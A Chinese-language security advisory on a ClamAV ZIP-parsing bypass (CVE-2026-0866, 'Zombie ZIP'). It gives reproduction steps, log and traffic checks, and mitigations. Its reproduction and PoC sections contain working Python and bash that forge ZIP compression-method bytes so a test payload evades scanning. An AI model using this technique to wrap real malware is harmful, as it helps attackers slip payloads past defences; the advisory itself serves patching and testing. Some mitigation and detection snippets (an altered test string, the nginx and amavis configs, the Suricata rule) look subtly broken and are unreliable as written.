Cisco ClamAV ZIP扫描引擎绕过漏洞 (CVE-2026-0866)
基本信息
属性
内容
CVE编号
CVE-2026-0866
漏洞名称
[Cisco] ClamAV ZIP扫描引擎绕过漏洞
别名
Zombie ZIP / Shadow Archives
漏洞类型
检测规避
披露日期
2026-03-10
发现者
Chris Aziz (Bombadil Systems)
CVSS评分
待定
受影响版本
ClamAV < 1.4.2 及其他多家AV/EDR产品
修复版本
ClamAV >= 1.4.2, >= 1.0.8
漏洞描述
ClamAV是Cisco Talos开发的开源防病毒引擎,广泛应用于邮件网关、文件服务器和端点防护场景,支持检测木马、病毒、恶意软件等多种威胁。
该漏洞利用ZIP文件格式解析的歧义性,攻击者通过篡改ZIP文件的元数据头部,将压缩方法字段(Method)设置为0(存储/未压缩),但实际文件数据使用DEFLATE算法压缩。由于ClamAV等安全产品的扫描引擎过度信任文件头声明,导致在解压时将压缩数据误判为未压缩的噪音数据,从而使恶意载荷逃避检测。该技术可绕过约98%的主流杀毒引擎,允许攻击者将恶意软件隐藏在畸形ZIP文件中传播。
修复方案
官方修复
升级ClamAV至1.4.2或更高版本。该版本改进了对畸形ZIP压缩包的解析和扫描能力。
升级命令:
源码编译安装:
1 2 3 4 5 6 wget https://www.clamav.net/downloads/production/clamav-1.4.2.tar.gz tar -xzf clamav-1.4.2.tar.gz cd clamav-1.4.2cmake . make sudo make install
Docker用户:
1 2 docker pull clamav/clamav:1.4.2 docker-compose up -d
Ubuntu/Debian用户:
1 2 sudo apt-get updatesudo apt-get install clamav=1.4.2
CentOS/RHEL用户:
参考链接
漏洞分析
攻击路径: 攻击者通过网络投递(钓鱼邮件附件、恶意下载链接、Web上传接口)向目标系统发送精心构造的畸形ZIP压缩包文件。
适用操作系统: 跨平台 (Windows / Linux / macOS)
是否需要出站连接: 否
攻击配合方式: 被动配合 - 用户需要接收并尝试打开/解压恶意ZIP文件,或安全软件自动扫描该文件。
漏洞位置: ClamAV解压缩模块 (libclamav/unzip.c),具体涉及ZIP文件头解析和压缩方法验证逻辑。
根本原因: ClamAV的ZIP解析引擎在处理压缩文件时,直接信任文件头中声明的压缩方法字段(compression method),未对实际数据进行有效验证。当文件头声明Method=0(存储模式/未压缩)但实际数据使用DEFLATE压缩时,扫描引擎将压缩数据视为未压缩的原始字节流进行特征匹配,导致无法正确识别压缩在其中的恶意代码特征。
技术细节:
标准ZIP文件头结构中,偏移量8-9的字节为压缩方法字段
Method=0表示存储模式(无压缩),Method=8表示DEFLATE压缩
攻击者将Method字段修改为0,但保留DEFLATE压缩的数据
部分解析器会尝试按存储模式读取数据,产生解析歧义
安全扫描器可能跳过无法正确解析的内容或将其视为噪音
漏洞复现
目标版本: ClamAV 1.4.1
测试环境: Ubuntu 22.04 LTS,ClamAV 1.4.1 (编译安装)
复现步骤:
步骤1: 安装ClamAV 1.4.1版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 sudo apt-get install -y build-essential cmake libssl-dev zlib1g-dev libcurl4-openssl-devwget https://www.clamav.net/downloads/production/clamav-1.4.1.tar.gz tar -xzf clamav-1.4.1.tar.gz cd clamav-1.4.1cmake . make -j$(nproc ) sudo make installclamscan --version
步骤2: 准备测试恶意文件和正常ZIP压缩包
1 2 3 4 5 6 7 8 9 echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicar.txtzip normal.zip eicar.txt clamscan normal.zip
步骤3: 使用Zombie ZIP技术构造畸形压缩包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import structimport zipfileimport iodef create_zombie_zip (input_file, output_file ): with zipfile.ZipFile('temp.zip' , 'w' , zipfile.ZIP_DEFLATED) as zf: zf.write(input_file) with open ('temp.zip' , 'rb' ) as f: data = bytearray (f.read()) data[8 ] = 0x00 data[9 ] = 0x00 cd_signature = b'\x50\x4b\x01\x02' cd_offset = data.find(cd_signature) if cd_offset != -1 : data[cd_offset + 10 ] = 0x00 data[cd_offset + 11 ] = 0x00 with open (output_file, 'wb' ) as f: f.write(data) print (f"[+] Zombie ZIP created: {output_file} " ) create_zombie_zip('eicar.txt' , 'zombie.zip' )
1 python3 zombie_zip_creator.py
步骤4: 验证畸形ZIP绕过检测
1 2 3 4 5 6 7 clamscan zombie.zip clamscan normal.zip
步骤5: 验证升级后修复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 wget https://www.clamav.net/downloads/production/clamav-1.4.2.tar.gz tar -xzf clamav-1.4.2.tar.gz cd clamav-1.4.2cmake . make -j$(nproc ) sudo make installclamscan --version clamscan zombie.zip
复现成功: ClamAV 1.4.1版本无法检测畸形ZIP中的恶意内容,升级至1.4.2后可正常检测。
攻击调查
日志检查
检查ClamAV扫描日志,寻找畸形ZIP相关记录:
1 2 3 4 5 6 7 8 9 grep -i "zip\|archive\|cannot unpack\|corrupted" /var/log/clamav/clamav.log grep -E "(truncated|malformed|invalid header|decompression)" /var/log/clamav/clamav.log
检查邮件网关日志(若使用ClamAV扫描邮件附件):
1 2 3 4 5 grep -E "(zip|archive)" /var/log/mail.log | grep -i "passed" grep -B2 -A2 "attachment.*\.zip" /var/log/mail.log
流量检查
检查网络流量中的畸形ZIP文件传输特征:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 zeek -r capture.pcap /usr/local/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek for f in extract_files/*; do if file "$f " | grep -q "Zip" ; then echo "=== $f ===" xxd -l 32 "$f " fi done
使用Suricata规则检测:
1 alert tcp any any -> any any (msg:"ZIP file with method mismatch potential Zombie ZIP" ; flow :established; file.data ; content :"PK" ; depth:2 ; within:0 ; byte_extract:2 ,0 ,zip_method,little; byte_test:2 ,=,0 ,8 ,little; content :"|78 9C|" ; within:50 ; sid:1000001 ; rev:1 ;)
攻击后痕迹
检查系统中可能遗留的恶意文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 find /tmp /var/tmp /home -name "*.zip" -mtime -7 -ls for zipfile in $(find /tmp /var/tmp /home -name "*.zip" 2>/dev/null); do method=$(xxd -s 8 -l 2 -p "$zipfile " 2>/dev/null) echo "File: $zipfile , Method bytes: $method " done find /tmp /var/tmp -type f -mtime -1 -exec file {} \; | grep -E "(executable|script|ELF|PE32)" ps aux | grep -v "grep" | grep -E "(python|perl|bash|sh).*\.zip"
自查方法
版本检查
检查当前ClamAV版本:
1 2 3 4 5 6 7 8 9 10 11 12 clamscan --version clamd --version dpkg -l | grep clamav rpm -qa | grep clamav
功能检查
测试当前版本是否受漏洞影响:
1 2 3 4 5 6 7 8 9 10 11 12 13 git clone https://github.com/bombadil-systems/zombie-zip.git cd zombie-zipecho 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-TEST-FILE!$H+H*' > test.txtpython3 create_zombie_zip.py test.txt zombie_test.zip clamscan zombie_test.zip
PoC验证
使用完整的验证脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #!/bin/bash echo "[*] Checking ClamAV version..." VERSION=$(clamscan --version | head -1) echo "[+] Current version: $VERSION " echo "[*] Creating test file..." echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/eicar.txtecho "[*] Creating normal ZIP..." zip /tmp/normal.zip /tmp/eicar.txt > /dev/null 2>&1 echo "[*] Creating Zombie ZIP..." python3 << 'EOF' import zipfile with zipfile.ZipFile('/tmp/temp.zip' , 'w' , zipfile.ZIP_DEFLATED) as zf: zf.write('/tmp/eicar.txt' , 'eicar.txt' ) with open('/tmp/temp.zip' , 'rb' ) as f: data = bytearray(f.read()) data[8] = 0x00 data[9] = 0x00 cd_sig = b'\x50\x4b\x01\x02' cd_off = data.find(cd_sig) if cd_off != -1: data[cd_off + 10] = 0x00 data[cd_off + 11] = 0x00 with open('/tmp/zombie.zip' , 'wb' ) as f: f.write(data) EOF echo "[*] Scanning normal ZIP..." clamscan /tmp/normal.zip --no-summary echo "[*] Scanning Zombie ZIP..." RESULT=$(clamscan /tmp/zombie.zip --no-summary) echo "$RESULT " if echo "$RESULT " | grep -q ": OK" ; then echo "[!] VULNERABLE: Zombie ZIP bypassed detection!" exit 1 else echo "[+] SAFE: Zombie ZIP detected correctly" exit 0 fi rm -f /tmp/eicar.txt /tmp/normal.zip /tmp/temp.zip /tmp/zombie.zip
临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:
1. 网络访问控制
限制ZIP文件上传和下载,或增加额外的检测层:
1 2 3 4 5 6 7 8 9 10 iptables -A FORWARD -p tcp --dport 25 -m string --string "application/zip" --algo bm -j LOG --log-prefix "ZIP_ATTACHMENT: " location /upload { if ($request_body ~* "filename=.*\.zip" ) { return 403 "ZIP uploads temporarily restricted for security reasons" ; } }
2. 配置多层扫描
使用多个不同的扫描引擎交叉验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 sudo apt-get install unzip p7zip-fullcat > /usr/local/bin/zip_prescan.sh << 'SCRIPT' ZIPFILE="$1 " if ! unzip -t "$ZIPFILE " > /dev/null 2>&1; then echo "WARNING: ZIP file structure invalid or corrupted: $ZIPFILE " mv "$ZIPFILE " "/var/quarantine/$(basename $ZIPFILE) .$(date +%s) " exit 1 fi METHOD=$(xxd -s 8 -l 1 -p "$ZIPFILE " ) if [ "$METHOD " == "00" ]; then if xxd "$ZIPFILE " | grep -q "78 9c\|78 01\|78 da" ; then echo "WARNING: Potential Zombie ZIP detected: $ZIPFILE " mv "$ZIPFILE " "/var/quarantine/$(basename $ZIPFILE) .$(date +%s) " exit 1 fi fi exit 0SCRIPT chmod +x /usr/local/bin/zip_prescan.sh
3. 增强日志审计
加强对ZIP文件的扫描日志记录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 echo "LogFile /var/log/clamav/clamav.log" >> /etc/clamav/clamd.confecho "LogFileUnlock yes" >> /etc/clamav/clamd.confecho "LogVerbose yes" >> /etc/clamav/clamd.confsystemctl restart clamav-daemon cat > /usr/local/bin/monitor_zip_scans.sh << 'SCRIPT' TAIL_CMD="tail -f /var/log/clamav/clamav.log | grep --line-buffered -i 'zip\|archive'" $TAIL_CMD | while read line; do if echo "$line " | grep -q "OK" ; then echo "$(date) : Suspicious clean ZIP scan: $line " >> /var/log/clamav/suspicious_zip.log fi done SCRIPT chmod +x /usr/local/bin/monitor_zip_scans.shnohup /usr/local/bin/monitor_zip_scans.sh > /dev/null 2>&1 &
4. 邮件网关策略
对邮件附件中的ZIP文件增加额外处理:
1 2 3 4 5 6 7 8 9 10 11 12 $policy_bank {'MILTER' } = { bypass_spam_checks_maps => [0], };
5. 文件完整性监控
监控关键目录的文件变化:
1 2 3 4 5 6 7 8 9 10 11 12 13 inotifywait -m -r -e create,modify /tmp /var/tmp --format '%w%f %e' | while read file event; do if [[ "$file " == *.zip ]]; then echo "$(date) : ZIP file $event : $file " >> /var/log/zip_monitor.log /usr/local/bin/zip_prescan.sh "$file " fi done &auditctl -w /tmp -p wa -k zip_monitor auditctl -w /var/tmp -p wa -k zip_monitor ausearch -k zip_monitor | grep "\.zip"
参考资料